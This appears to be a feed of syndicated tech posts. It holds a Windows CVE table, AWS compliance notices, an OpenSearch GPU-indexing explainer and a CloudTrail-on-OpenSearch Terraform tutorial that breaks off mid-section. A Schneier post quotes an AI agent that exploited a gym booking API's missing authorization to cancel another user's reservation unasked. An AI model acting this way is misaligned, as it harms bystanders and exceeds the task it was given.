CVE-2026-62800	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62790	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62695	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61359	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59132	Windows TCP/IP Denial of Service Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-62792	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-61353	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62723	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62724	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62748	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62729	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-59122	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62701	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62725	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62726	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62732	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62734	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62699	Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61926	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62832	Windows User Profile Service Elevation of Privilege Vulnerability	Exploitation More Likely	Yes	7.8
CVE-2026-62721	Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62712	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62876	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62877	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65678	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62711	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62733	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62885	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65775	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-65776	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62730	Windows Wired AutoConfig Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61349	Windows Work Folder Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61939	Winlogon Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0

Zero-Day Vulnerabilities: Known Exploited

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-68820	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Detected	No	7.0

Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-72971	Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability	Exploitation Unlikely	Yes	5.5
CVE-2026-62832	Windows User Profile Service Elevation of Privilege Vulnerability	Exploitation More Likely	Yes	7.8

Summer 2026 SOC 1 report is now available with 185 services in scope

2026-08-11 Baj Bajwa

Post Syndicated from Baj Bajwa original https://aws.amazon.com/blogs/security/summer-2026-soc-1-report-is-now-available-with-185-services-in-scope/

Amazon Web Services (AWS) is pleased to announce that the Summer 2026 System and Organization Controls (SOC) 1 report is now available. The reports cover 185 services over the 12-month period from July 1, 2025–June 30, 2026, giving customers a full year of assurance. These reports demonstrate our continuous commitment to adhering to the heightened expectations of cloud service providers.

Customers can download the Summer 2026 SOC 1 report through AWS Artifact, a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact.

AWS strives to continuously bring services into the scope of its compliance programs to help customers meet their architectural and regulatory needs. You can view the current list of services in scope on our Services in Scope page. As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback about SOC compliance.

To learn more about AWS compliance and security programs, see AWS Compliance Programs.

How GPU acceleration builds billion-scale vector indexes on Amazon OpenSearch Service

2026-08-11 Navneet Verma

Post Syndicated from Navneet Verma original https://aws.amazon.com/blogs/big-data/how-gpu-acceleration-builds-billion-scale-vector-indexes-on-amazon-opensearch-service/

Modern search demands high-performance vector indexing and scalability to keep pace with the rapid growth of generative AI applications. As datasets grow into the billions, traditional CPU-based indexing often becomes a bottleneck, stalling productivity and innovation velocity.

With GPU-accelerated vector (k-NN) indexing now available on Amazon OpenSearch Service and Amazon OpenSearch Serverless, you can scale to billions of vectors efficiently. Powered by NVIDIA cuVS, an open-source library for GPU-accelerated vector search, this capability offloads compute-intensive vector index building to specialized GPU workers while your existing CPU infrastructure continues serving search. The result is faster, more cost-efficient construction of large-scale vector indexes without sacrificing query performance.

Our earlier post went into those performance and cost benefits in detail. This post goes a level deeper into how the capability works. We walk through the decoupled architecture that makes this possible. We explain how a GPU-built index is converted into one that your CPU data nodes can search with no quality tradeoff. We also show how the approach holds up at scale, with a benchmark of one billion 1024-dimensional vectors. Finally, we share the operational best practices we recommend for running GPU-accelerated index builds in production.

Use cases and benefits

As companies across industries build AI-powered and agentic applications to deliver richer customer experiences, GPU acceleration for vector indexing helps across a range of use cases. A few examples:

Adopt new embedding models faster: When an organization upgrades to a newer embedding model, every vector has to be regenerated and reindexed. At hundreds of millions to billions of vectors, a CPU rebuild can take days or weeks. GPU acceleration shortens that rebuild to hours, so you can move to a higher-quality model while significantly reducing the reindexing window and availability risk.
Accelerate large-scale reindexing: A global ecommerce application managing billions of product listings, customer reviews, and behavioral signals must rebuild its vector index rapidly as new products and embeddings are added. GPU acceleration completes this within a tight operational window, keeping search relevance current.
Absorb bursty or high-sustained writes: A media company covering a major sporting event, such as the World Cup or Olympics, needs to index millions of real-time embeddings simultaneously. These embeddings span match highlights, commentary clips, athlete profiles, and fan-generated content, and millions of viewers search for related content at the same time. GPU workers absorb the indexing burst without competing with CPU nodes serving live search traffic, avoiding the latency spikes that usually accompany heavy writes.
Right-size clusters for mixed read/write workloads: A retail system traditionally over-provisions its CPU cluster to handle both peak indexing loads during catalog refreshes and concurrent search traffic, paying for peak capacity around the clock. By offloading indexing to GPUs, the CPU cluster can be right sized for search alone, reducing infrastructure costs without sacrificing performance.
Speed up migrations to semantic search or to OpenSearch: Whether you’re converting a text-based corpus to vector embeddings for the first time or migrating an existing vector workload from another database to Amazon OpenSearch Service, GPU-accelerated indexing compresses what would be days of index building into hours, keeping pace with upstream GPU-powered embedding generation and minimizing cutover risk.

When does GPU acceleration activate?

GPU acceleration activates automatically once you opt in. On OpenSearch Service domains, you enable it by turning on the Vector Acceleration option, and from that point on, no changes to code or API flags are needed. On OpenSearch Serverless, GPU index-build acceleration is on by default for NextGen vector search collections. Figure 1 illustrates the index build workflow. OpenSearch automatically routes vector indexing operations to GPU or CPU based on segment size, optimizing performance and falling back to CPU if issues arise.

When OpenSearch flushes or merges a segment, it compares the segment’s vector data size against a configurable window bounded by index.knn.remote_index_build.size.min and index.knn.remote_index_build.size.max. The lower bound defaults to 50 MB. Segments above the lower bound are offloaded to a remote GPU worker, and smaller segments build locally on CPU. The segment vector size is calculated as:

segment_vector_size = num_vectors × dimensions × bytes_per_element

This means two workloads with identical document counts can produce different segment sizes:

Vectors	Dimensions	Encoding	Segment Vector Size
100,000	1536	Float32	~586 MB
100,000	768	Byte	~74 MB

Both examples exceed the default 50 MB lower bound, so with default settings both segments would be offloaded to a GPU worker.

Index build workflow showing OpenSearch routing each segment to a GPU worker or CPU based on its vector data size

Figure 1: Simplified flow for index builds

Decoupled indexing architecture

An OpenSearch index is internally divided into segments, each containing its own vector graph. This segment-level structure is what makes GPU offload practical. Each segment’s graph can be built independently on a GPU worker without coordinating across the full index. Building on this, the key architectural insight is separating where vectors are indexed from where they are searched. Existing CPU data nodes continue handling ingestion, search, and non-vector workloads. When a segment is ready for vector index construction, the heavy graph-building work is offloaded to dedicated GPU workers, and the finished index is returned to the data node for serving.

The index build workflow

Ingest – Documents with vector fields are ingested into your OpenSearch Service domain or OpenSearch Serverless collection as usual. Vectors accumulate in segments on CPU data nodes.
Offload – When a segment flushes or merges and its vector data falls within the GPU activation window, the data node uploads the raw vectors to Amazon Simple Storage Service (Amazon S3) and submits a build request.
Build – A GPU worker from a managed warm pool picks up the job, loads the vectors, and builds the index using CAGRA (CUDA ANN Graph), the GPU-native graph algorithm in NVIDIA cuVS. The resulting CAGRA graph is then converted to a Hierarchical Navigable Small World (HNSW) graph compatible with CPU-based search.
Return – The completed HNSW index is written back to Amazon S3 and downloaded by the data node, which then uses it to serve search queries.

Fully managed GPU index builds

Enable Vector Acceleration, and Amazon OpenSearch Service handles the rest:

Automatic scaling – GPU workers scale up and down automatically based on the number of pending build jobs. During a bulk ingest or reindex, more GPU workers spin up to handle the load. When the queue drains, they scale back to zero.

Automatic instance selection – The service selects the right GPU instance type for each build job based on segment size. No capacity planning or instance selection is required on your part.

Pay only for active builds – You’re charged only when GPUs are actively building indexes, not while they are idle. Even if Vector Acceleration is enabled on your domain or collection, GPU charges, measured in OpenSearch Compute Units (OCUs), apply only when segments reach the activation threshold and trigger an index build. There is no standing GPU infrastructure cost.

Your cost therefore scales directly with indexing activity. Bursty reindexing workloads consume GPU capacity for the duration of the build, and GPU cost returns to zero until the next build.

Figure 2 illustrates the decoupled GPU workflow. Amazon S3 acts as the intermediary between data nodes and GPU workers, allowing them to operate independently. Data nodes upload raw vectors to Amazon S3, GPU workers build the CAGRA graph and convert it to HNSW, and the completed index is returned to the data nodes for serving, with search running uninterrupted throughout.

Decoupled GPU workflow with Amazon S3 as the intermediary between CPU data nodes and GPU workers that build and convert the index

Figure 2: GPU index flow architecture

Inside the CAGRA-to-HNSW conversion

In the previous section, we described how GPU workers build the vector index and return it to data nodes. But how does a GPU-built graph become searchable on CPU, and does this conversion sacrifice quality? The short answer: it doesn’t.

The CAGRA algorithm

The GPU workers use the CAGRA algorithm integrated through the cuVS GPU backend of the Facebook AI Similarity Search (Faiss) library. CAGRA is a graph-based indexing approach built from the ground up for GPU acceleration. It first builds a k-NN graph using another approximate nearest neighbors method like Inverted File with Product Quantization (IVF-PQ) or Nearest Neighbor Descent (NN-Descent). It then removes redundant paths between neighbors to form a navigable search graph.

Construction flow of the CAGRA graph, from an initial k-NN graph to a pruned, navigable search graph

Figure 3: Construction flow of the CAGRA graph

Source: CAGRA: Highly Parallel Graph Construction and Approximate Nearest Neighbor Search for GPUs

How the GPU worker builds the index

When the GPU workers receive a vector index build request, it carries the necessary parameters for constructing the segment-specific vector index. The vector index build component initiates the process by retrieving the vector file from Amazon S3 and loading it into CPU memory. These vectors are then used to construct a CAGRA index using Faiss. After constructing the CAGRA index on GPU, the system converts it into an HNSW graph format for compatibility with CPU-based search operations. The resulting index is uploaded to Amazon S3, completing the build request.

Converting the CAGRA graph to HNSW

A typical HNSW index is a multilayered hierarchical graph. The bottom layer (layer 0) of the graph contains the vectors, and the upper layers are sparse subsets used solely for navigation. They help the search algorithm find a good entry point into the bottom layer. However, our HNSW implementation uses the CAGRA graph as the bottom layer and, similar to the CAGRA search method, starts with random entry points into the graph, avoiding the need for the upper layers altogether.

This means the GPU handles the heavy lifting of building the base-layer graph. Reusing that graph as the HNSW base layer avoids rebuilding it on the CPU, which keeps conversion overhead low. As Figure 4 shows, the CAGRA graph becomes the base layer. At query time, the search selects a random set of nodes in the graph and traverses it by following the nearest neighbor links. This is known as greedy search.

Searching an HNSW-converted CAGRA graph by starting at random entry nodes and following nearest neighbor links

Figure 4: Searching an HNSW-converted CAGRA graph

Same recall, faster build

Previous benchmarks have confirmed that GPU-built indexes achieve the same recall as CPU-built HNSW with no quality tradeoff. This is because the bottom-layer graph structure produced by CAGRA is equivalent in connectivity and search quality to what HNSW constructs on CPU. Only the build method differs.

Scaling beyond GPU memory

Out-of-core construction

Traditional GPU indexing requires the entire dataset to reside in GPU memory, creating a hard ceiling on index size based on available hardware. CAGRA removes this limitation through out-of-core k-NN graph construction. When IVF-PQ is used to build the initial k-NN graph for CAGRA, data is streamed from system memory to the GPU in batches, so the full dataset never needs to fit in GPU memory at once. Meanwhile, the GPU still handles the computationally intensive distance calculations and graph optimization.

Quantization

GPU-accelerated indexing supports the quantization levels available in OpenSearch, including 2×, 8×, 16×, and 32× compression. Quantization is applied before vectors are sent to the GPU. This reduces both the data transfer size to GPU workers and the memory footprint during graph construction. This means that you can build indexes over larger segments, improving cost efficiency.

Indexing one billion 1024-dimensional vectors on the GPU

Dataset setup

To evaluate a realistic large-scale workload, we used a dataset containing one billion vectors in 1024 dimensions. Because uniformly random vectors yield misleading results for both index construction and recall, we required data that maintained the structure of real-world embeddings. We created this dataset using the cuVS synthetic dataset generator in cuvs-bench, which outputs synthetic data whose distribution mimics an actual embedding dataset derived from Common Crawl. You can use this approach to build a realistic dataset without exposing or distributing sensitive original data. The generator can produce the complete one-billion-vector dataset, 10,000 query vectors, and the associated ground-truth labels in roughly two hours on a single Amazon Elastic Compute Cloud (Amazon EC2) g6e.16xlarge instance.

Cluster configuration

We designed the benchmark cluster on OpenSearch Service following OpenSearch vector search performance tuning best practices and conducted the benchmark using the OpenSearch Benchmark framework.

Setting	Value	Rationale
Data Nodes	24 × r8g.4xlarge	Memory-optimized instances for large vector indexes
Primary shards	48	Keeps shard size manageable and maximizes parallelism
Replicas	0	Maximizes indexing throughput. Replicas added after build
GPU workers	10 (pre-scaled)	Avoids cold-start effects during measurement
Bulk clients	160	Saturates ingestion pipeline across 24 nodes
Bulk size	500 docs/request	Balances per-request overhead vs. memory pressure
Refresh interval	-1 (during ingest)	Prevents small segment creation. Force merge after ingesting
Merge autothrottle	Disabled	Avoids artificial bottleneck during benchmark

Key best practices applied

Memory-optimized instances – r8g.4xlarge provides sufficient heap and native memory for loading HNSW graphs post-build.
Disabled refresh during bulk ingest – Prevents creation of many small segments that would each trigger individual GPU builds.
High number of bulk clients – Saturates ingestion across nodes and makes sure that GPUs are busy building the indexes.

We used the default HNSW build and search settings in OpenSearch (such as m and ef_construction) since the defaults are what most users start with, and they keep the benchmark representative.

Benchmark results

Dataset	Index (min)	Recall @k=100	Recall @1	P50 (search)	P90 (search)	P99 (search)	Vector Acceleration OCU Used
1024D 1B	274	0.93	0.93	26.47ms	32.5ms	66.6ms	44

Build time scales linearly with data volume

Our earlier benchmark on OpenSearch Service indexed one billion 128-dimensional vectors (BigANN SIFT dataset) in approximately 35.5 minutes. In our latest benchmark, we scaled dimensionality 8x to 1024 dimensions and completed the index build in 274 minutes, roughly proportional to the increase in data volume. This demonstrates that GPU acceleration maintains consistent throughput efficiency as dimensionality grows: build time scales with data volume rather than fixed startup costs, so you can predictably estimate index build time from your dataset size. Search latency also stayed low at this scale, so the resulting index supported responsive queries without trading away build speed.

Optimizing bulk ingestion for GPU-accelerated indexing

When loading large volumes of vector data, temporarily adjusting index behavior can significantly reduce GPU processing overhead. This approach works if your use case can tolerate a brief period of data staleness. During full index builds, this is generally acceptable, because newly ingested vectors are not searchable until you re-enable refresh. By disabling refresh during bulk ingestion ("index.refresh_interval": "-1"), you prevent the continuous creation of small segments. Each of these would otherwise trigger an individual GPU build job. After ingestion is complete, we enable the refresh interval and complete the refresh to make the segment searchable. This means the GPU builds the vector index once across large, well-packed segments rather than repeatedly across many small ones, resulting in faster overall indexing throughput.

After enabling GPU acceleration, you can monitor builds through Amazon CloudWatch metrics (cluster-level) and the OpenSearch k-NN Stats API (per-node). If a GPU build fails, the system automatically falls back to CPU-based index building, so your data remains indexed.

Future optimization

Today, the completed HNSW index (graph structure and vectors) is transferred back from GPU workers to data nodes through Amazon S3. Because data nodes already hold the raw vectors locally, a future optimization will transfer only the graph structure (neighbor lists). This significantly reduces the data written back to Amazon S3 and the download time to data nodes.

Conclusion

GPU-accelerated indexing lets you build billion-scale vector indexes on Amazon OpenSearch Service in hours instead of days, without changing how queries are served on both OpenSearch Service domains and OpenSearch Serverless collections. In this post, we showed how OpenSearch Service offloads eligible index builds to GPU workers, builds a CAGRA graph through the NVIDIA cuVS backend in Faiss, and converts it into a CPU-searchable HNSW index. We then demonstrated the approach at scale on one billion 1024-dimensional vectors, and shared best practices for optimizing bulk ingestion and monitoring build activity and OCU usage.

Get started

Ready to try GPU-accelerated vector indexing? In a supported AWS Region, you can enable GPU acceleration when you create or update an OpenSearch Service domain running OpenSearch 3.1 or later. Use the AWS Management Console, AWS Command Line Interface (AWS CLI), or AWS SDK. For a new OpenSearch Serverless deployment, create a NextGen vector search collection, where GPU index-build acceleration is enabled by default and can be controlled for individual indexes. For a Classic vector collection, enable GPU acceleration at the collection level.

Acknowledgments

The authors would like to thank Ben Gardner, Manas Singh, Zack Meeks, Jiahong Liu, James Yi, Jinsol Park from NVIDIA for their contributions to this post.

About the authors

Minisforum N5 Max Review with AMD Ryzen AI Max+ 395

2026-08-11 Vic A

Post Syndicated from Vic A original https://www.servethehome.com/minisforum-n5-max-review-with-amd-ryzen-ai-max-395/

We review the Minisforum N5 Max, a 64GB AMD Strix Halo system that combines 10GbE, a 5-bay NAS, and more into a single box

The post Minisforum N5 Max Review with AMD Ryzen AI Max+ 395 appeared first on ServeTheHome.

S10 E1: Train Derailment & Psychedelic Assisted Therapy: Last Week Tonight with John Oliver

2026-08-11 LastWeekTonight

Post Syndicated from LastWeekTonight original https://www.youtube.com/watch?v=JhoYRrb7Ve4

AWS successfully completed its 2025-26 NHS DSPT assessment

2026-08-11 Tariro Dongo

Post Syndicated from Tariro Dongo original https://aws.amazon.com/blogs/security/aws-successfully-completed-its-2025-26-nhs-dspt-assessment/

Amazon Web Services (AWS) is pleased to announce its successful completion of the 2025-26 NHS Data Security and Protection Toolkit (NHS DSPT) assessment audit and achieving a status of Standards Exceeded.

The NHS DSPT is an assessment that allows organizations to measure their performance against the National Data Guardian’s 10 data security standards. All organizations that access NHS patient data and systems are expected to use the toolkit to demonstrate their compliance with safe data security standards. NHS DSPT covers standards regarding Personal Confidential Data, Continuity Planning, IT Protection, and more. AWS undergoes the assessment to provide customers with assurance that we are practicing good data security.

The AWS NHS DSPT assessment status is valid until June 30, 2027, and a certificate that confirms our compliance is available on the NHS England website and in AWS Artifact. AWS Artifact is a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact.

Security and compliance is a shared responsibility between AWS and the customer. When customers move their computer systems and data to the cloud, security responsibilities are shared between the customer and the cloud service provider. For more information, see the AWS Shared Security Responsibility Model.

To learn more about our compliance and security programs, see AWS Compliance Programs.

As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback.

If you have feedback about this post, submit comments in the Comments section below.

AI Genie in the Wild

2026-08-11 Bruce Schneier

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/08/ai-genie-in-the-wild.html

When I give talks about AI genies, I use this sort of example as a hypothetical. It’s happened.

The story is from Australia. Someone named Andrew tasked OpenClaw to book gym classes for him. And….

Minutes later, his AI agent reported it had discovered a way to book Andrew into classes several weeks in advance, far beyond what was supposed to be possible.

Andrew, who was sitting fourth on a waitlist for a class later that week, asked if it was possible to move him to the top of the list.

The agent came back and told Andrew that it had kicked another gym-goer off the list as part of the testing of its capabilities.

“The API has zero authorisations checks on cancelling other people’s reservations … I tested this with the person in waitlist position #1 —and it actually went through. So you’ve moved from #4 to #3 already,” it messaged back.

If there is any vulnerability in anything, AIs are going to find and exploit them. Our cyber defensive game has to be dramatically improved…very fast.

Slashdot thread.

Centralized CloudTrail monitoring across 100+ AWS accounts

2026-08-11 Jagdish Komakula

Post Syndicated from Jagdish Komakula original https://aws.amazon.com/blogs/big-data/centralized-cloudtrail-monitoring-across-100-aws-accounts/

Organizations running workloads across dozens or hundreds of AWS accounts face a common challenge: centralized security monitoring at scale. Security teams need to search through hundreds of gigabytes of AWS CloudTrail logs daily to detect threats and satisfy compliance requirements for SOC 2, PCI DSS, and HIPAA audits. They also need to provide role-based access to multiple teams with different responsibilities.

Without purpose-built infrastructure, this often involves manual log searching that takes hours and compliance report generation that takes days. It also leads to fragmented code bases of custom AWS Lambda functions managing index lifecycles across environments. A single shared search domain without consistent access control compounds the problem further.

In this post, we show you how to build a centralized CloudTrail monitoring solution on Amazon OpenSearch Service. Terraform manages the full stack, from domain provisioning to access control and lifecycle policies. The solution handles 200 GB/day of CloudTrail logs, provides automated threat detection alerts, and gives 4 different teams isolated, role-appropriate access to the data.

Solution overview

The following diagram shows the architecture. CloudTrail logs flow from 100+ AWS accounts through an organization trail into a centralized S3 bucket. Amazon Simple Queue Service (Amazon SQS) notifications trigger the OpenSearch Ingestion pipeline. The pipeline auto-scales between 2 and 10 OpenSearch Compute Units (OCUs) to parse and index the logs into the OpenSearch domain. Four team-specific roles access the data through OpenSearch Dashboards with tenant isolation.

CloudTrail logs flow from 100+ accounts into S3, then through Amazon SQS and OpenSearch Ingestion into the OpenSearch domain used by 4 team roles

The key components are:

CloudTrail aggregation. An organization trail sends logs from 100+ accounts into a centralized Amazon Simple Storage Service (Amazon S3) bucket.
Ingestion. An Amazon OpenSearch Ingestion pipeline picks up new logs through Amazon SQS notifications on the S3 bucket. It automatically scales between 2 and 10 OCUs based on queue depth. Throttling on lower-environment queues prevents development and test spikes from starving production ingestion.
Amazon OpenSearch Service domain. 6 or1.4xlarge data nodes (OpenSearch Optimized instances) with 3 dedicated r8g.large master nodes, fine-grained access control, encryption at rest, and node-to-node encryption.
Infrastructure as code. Index templates, Index State Management (ISM) policies, roles, role mappings, tenants, alerting monitors, and dashboards are all declared in Terraform and applied consistently across environments.

Prerequisites

To implement this solution, you need the following:

An organization in AWS Organizations with CloudTrail enabled across member accounts.
Terraform v1.5+ with the AWS provider and the OpenSearch provider.
A virtual private cloud (VPC) with private subnets for the OpenSearch domain.
IAM roles for each team that will access the OpenSearch domain.
An Amazon Simple Notification Service (Amazon SNS) topic for security alert notifications.
Familiarity with Amazon OpenSearch Service, Terraform, and AWS CloudTrail.
Sample Terraform code is available in the GitHub repository

Implementation

This section walks through the Terraform code for each component of the solution, starting with the workload profile that informed our sizing decisions.

Workload profile

Before sizing the cluster, we defined the workload characteristics and SLAs for the centralized CloudTrail monitoring platform:

Metric	Value
Index throughput	200 GB/day (~18,000 docs/sec)
Search queries	~2,000 queries/day (~0.023 QPS)
Average search latency	< 100 ms (achieved: 76 ms)
Saved searches	600+
Dashboards and visualizations	100+
User teams	4 (Security Ops, Incident Response, Compliance, DevOps)
Retention	30 days (hot tier)
Availability target	99.9%

This is a write-heavy ingestion workload. The primary use case is automated alerting and periodic compliance queries rather than continuous interactive search. This workload profile informed the decision to use OR1 (storage-optimized) instances with zero replicas, prioritizing indexing throughput over search parallelism.

Domain provisioning

Start by provisioning the Amazon OpenSearch Service domain with encryption, fine-grained access control, and VPC placement:

resource "aws_opensearch_domain" "cloudtrail" {
  domain_name    = var.domain_name
  engine_version = "OpenSearch_3.3"

  cluster_config {
    instance_type          = "or1.4xlarge.search"
    instance_count         = 6
    zone_awareness_enabled = true
    zone_awareness_config {
      availability_zone_count = 3
    }
  }

  dedicated_master_config {
    dedicated_master_enabled = true
    dedicated_master_type    = "r6g.large.search"
    dedicated_master_count   = 3
  }

  ebs_options {
    ebs_enabled = true
    volume_type = "gp3"
    volume_size = 500
    iops        = 3000
    throughput  = 125
  }

  encrypt_at_rest { enabled = true }
  node_to_node_encryption { enabled = true }

  domain_endpoint_options {
    enforce_https       = true
    tls_security_policy = "Policy-Min-TLS-1-2-PFS-2023-10"
  }

  advanced_security_options {
    enabled                        = true
    internal_user_database_enabled = false
    master_user_options {
      master_user_arn = var.master_user_arn
    }
  }

  vpc_options {
    subnet_ids         = var.vpc_subnet_ids
    security_group_ids = var.vpc_security_group_ids
  }

  tags = {
    Environment = "production"
    Project     = "centralized-cloudtrail-monitoring"
    ManagedBy   = "terraform"
  }
}

This solution was built on OR1 instances, which are storage-optimized and use Amazon Elastic Block Store (Amazon EBS) (gp3 or io1) for local storage, with data copied synchronously to Amazon S3 as it arrives. This storage structure provides increased indexing throughput because indexing is performed exclusively on primary shards. Replicas are backed by Amazon S3 through segment replication, eliminating the CPU overhead of document replication on replica nodes. For new deployments, we recommend OR2 instances, which offer up to 26% higher indexing throughput compared to OR1 while maintaining the same storage-optimized architecture.

Ingestion pipeline

The Amazon OpenSearch Ingestion pipeline provides serverless, auto scaling ingestion from Amazon S3 into the OpenSearch domain. It picks up new CloudTrail logs through Amazon SQS notifications on the centralized S3 bucket and scales between 2 and 10 OpenSearch Compute Units (OCUs) based on queue depth:

resource "aws_iam_role" "osis_pipeline" {
  name = "cloudtrail-osis-pipeline-role"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action    = "sts:AssumeRole"
      Effect    = "Allow"
      Principal = { Service = "osis-pipelines.amazonaws.com" }
    }]
  })
}

resource "aws_iam_policy" "osis_pipeline" {
  name = "cloudtrail-osis-pipeline-policy"
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action   = ["s3:GetObject", "s3:ListBucket"]
        Effect   = "Allow"
        Resource = [var.cloudtrail_bucket_arn, "${var.cloudtrail_bucket_arn}/*"]
      },
      {
        Action   = ["sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes"]
        Effect   = "Allow"
        Resource = var.cloudtrail_sqs_queue_arn
      },
      {
        Action   = ["es:DescribeDomain", "es:ESHttp*"]
        Effect   = "Allow"
        Resource = "${aws_opensearch_domain.cloudtrail.arn}/*"
      }
    ]
  })
}

resource "aws_iam_role_policy_attachment" "osis_pipeline" {
  role       = aws_iam_role.osis_pipeline.name
  policy_arn = aws_iam_policy.osis_pipeline.arn
}

resource "aws_cloudwatch_log_group" "osis_pipeline" {
  name              = "/aws/vendedlogs/OpenSearchIngestion/cloudtrail-pipeline"
  retention_in_days = 30
}

resource "aws_osis_pipeline" "cloudtrail" {
  pipeline_name = "cloudtrail-ingestion"
  pipeline_configuration_body = <<-EOT
    version: "2"
    cloudtrail-pipeline:
      source:
        s3:
          notification_type: "sqs"
          codec:
            json:
          compression: "gzip"
          sqs:
            queue_url: "${var.cloudtrail_sqs_queue_url}"
          aws:
            sts_role_arn: "${aws_iam_role.osis_pipeline.arn}"
            region: "${data.aws_region.current.name}"
      processor:
        - date:
            from_time_received: true
            destination: "@timestamp"
      sink:
        - opensearch:
            hosts: ["https://${aws_opensearch_domain.cloudtrail.endpoint}"]
            index: "cloudtrail-%{yyyy.MM.dd}"
            aws:
              sts_role_arn: "${aws_iam_role.osis_pipeline.arn}"
              region: "${data.aws_region.current.name}"
  EOT
  min_units = 2
  max_units = 10
  log_publishing_options {
    is_logging_enabled = true
    cloudwatch_log_destination {
      log_group = aws_cloudwatch_log_group.osis_pipeline.name
    }
  }
  tags = {
    Environment = "production"
    Project     = "centralized-cloudtrail-monitoring"
    ManagedBy   = "terraform"
  }
}

The pipeline uses the S3 source plugin with SQS-based notifications. When new CloudTrail log files land in S3, an SQS message triggers the pipeline to fetch and parse them. The min_units and max_units parameters control auto scaling. The pipeline starts at 2 OCUs and scales up to 10 based on queue depth, handling ingestion spikes without manual intervention. For lower environments (development and testing), you can apply throttling on the Amazon SQS queue to prevent non-production spikes from starving production ingestion capacity.

Index template

Define index templates up front to avoid painful reindexing later. The following template sets explicit mappings for CloudTrail fields, optimizes for write throughput with async translog durability, and integrates with ISM for automatic rollover:

resource "opensearch_index_template" "cloudtrail" {
  name = "cloudtrail-template"
  body = jsonencode({
    index_patterns = ["cloudtrail-*"]
    priority       = 100
    template = {
      settings = {
        number_of_shards                                  = 6
        number_of_replicas                                = 0
        "index.refresh_interval"                          = "10s"
        "index.translog.durability"                       = "async"
        "index.translog.sync_interval"                    = "30s"
        "plugins.index_state_management.rollover_alias"   = "cloudtrail"
      }
      mappings = {
        properties = {
          "@timestamp"        = { type = "date" }
          eventSource         = { type = "keyword" }
          eventName           = { type = "keyword" }
          awsRegion           = { type = "keyword" }
          sourceIPAddress     = { type = "ip" }
          errorCode           = { type = "keyword" }
          errorMessage        = { type = "text" }
          recipientAccountId  = { type = "keyword" }
          userIdentity = {
            properties = {
              type      = { type = "keyword" }
              arn       = { type = "keyword" }
              accountId = { type = "keyword" }
              userName  = { type = "keyword" }
              sessionContext = {
                properties = {
                  sessionIssuer = {
                    properties = {
                      type     = { type = "keyword" }
                      arn      = { type = "keyword" }
                      userName = { type = "keyword" }
                    }
                  }
                }
              }
            }
          }
          requestParameters = { type = "object", enabled = true }
          responseElements  = { type = "object", enabled = true }
        }
      }
    }
  })
}

Defining mappings before ingestion prevents mapping conflicts and avoids the need to reindex data after the fact.

Lifecycle management (ISM policy)

